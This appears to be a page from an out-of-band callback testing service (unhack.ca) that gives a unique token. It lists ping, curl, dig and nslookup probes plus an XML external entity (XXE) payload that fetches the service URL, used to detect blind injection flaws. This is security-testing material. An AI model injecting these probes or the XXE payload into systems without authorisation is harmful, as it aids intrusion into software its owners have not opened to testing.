$ ping -c1 -p 0079705164c587116382b9fb0fcb5800 unhack.ca
 
$ curl http://unhack.ca/p/79705164c587116382b9fb0fcb58
 
$ dig 79705164c587116382b9fb0fcb58 @unhack.ca
 
$ dig 79705164c587116382b9fb0fcb58.ns.unhack.ca
 
C:\> nslookup 79705164c587116382b9fb0fcb58 unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/79705164c587116382b9fb0fcb58">]>
    <foo>&xxe;</foo>
Waiting for ping...